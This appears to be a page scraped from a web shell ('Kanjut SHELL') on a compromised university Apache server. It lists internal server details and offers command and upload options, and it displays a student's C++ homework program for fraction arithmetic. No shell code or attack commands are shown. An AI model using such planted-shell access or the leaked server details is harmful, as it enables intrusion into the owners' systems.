Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.147.62.5
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/mrlong/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mrlong/fractionhw2.cpp
//
//
//
//
//

#include <iostream>

using namespace std;

class Fraction
{
	int nume, deno;
	void Reduce()        //reduces to lowest terms
        {
                int n = nume;
                int d = deno;

                //find GCD: n
                while( d != 0 )
                {
                        int r = n % d;
                        n = d;
                        d = r;
                }
                if ( n !=0 )    //process
                {
                        nume /= n;
                        deno /= n;
                }
                if ( deno < 0)
                {
                        nume *= (-1);
                        deno *= (-1);
                }
                return;
        }

public:

	Fraction()	// 0/1
	{	nume = 0; deno = 1;   }
	Fraction(int n, int d)
	{	nume = n; deno = d;   }
	void Set(int n, int d) 
        {       nume = n; deno = d;   }
	void Print() const
	{	cout << nume << '/' << deno;   } 
	

	Fraction operator*(Fraction f)
	{	
		Fraction t;
		int n, d;
		n = nume*f.nume;
		d = deno*f.deno;
		t.Set(n, d);
		t.Reduce();
		return t;
	}	
	Fraction operator-(Fraction f)
	{
		Fraction t;
		int n, d;
		d = f.deno * deno;
		n = (nume*f.deno) - (f.nume*deno);
		t.Set(n, d);
		t.Reduce();
		return t;
	}
	Fraction operator/(Fraction f)
	{
		Fraction t;
		int n, d;
		int i=2;
		n = nume*f.deno;
		d = deno*f.nume;
		t.Set(n, d);
		t.Reduce();
		return t;
	}
	Fraction operator+(Fraction f)	
	{
		Fraction t;
		int n, d;
                d = f.deno * deno;
                n = (nume*f.deno) + (f.nume*deno);
		t.Set(n, d);
		t.Reduce();		
		return t;
	}
};			

int main()
{	int n, d;
	Fraction x, y, z, test;
	char dummy, op;
	
	cout << "Input x (n/d, -1 to quit): ";
	cin >> n >> dummy >> d;	
	while( n!=-1 && d!=1 )
	{
		// Set x = n/d?
		x.Set(n, d);

		cout << "Input y (n/d): ";
        	cin >> n >> dummy >> d;
        	
		// Set y = n/d
        	y.Set(n, d);

		cout << "Operation? (+, -, *, /) ";
		cin >> op;
		cout << "\n\n";

		if( op == '*')
			z = x.operator*(y);
		else if ( op == '-')
			z = x.operator-(y);
		else if ( op == '/')
			z = x.operator/(y);
		else if ( op=='+')
			z = x.operator+(y);
		
		else  	cout << "I am woking on it.\n\n";
			
		
	
		// Debug
		x.Print();	
		cout << " " << op << " ";	
        	y.Print();
        	cout << " = ";
                z.Print();
                cout << "\n";

		cout << "\n\n******************\nInput x (n/d, -1/1 to quit): ";
	        cin >> n >> dummy >> d; 
	}

	cout << "\n\n^Fin.\n\n";
	return 0;
}

Stv3n404 - 2023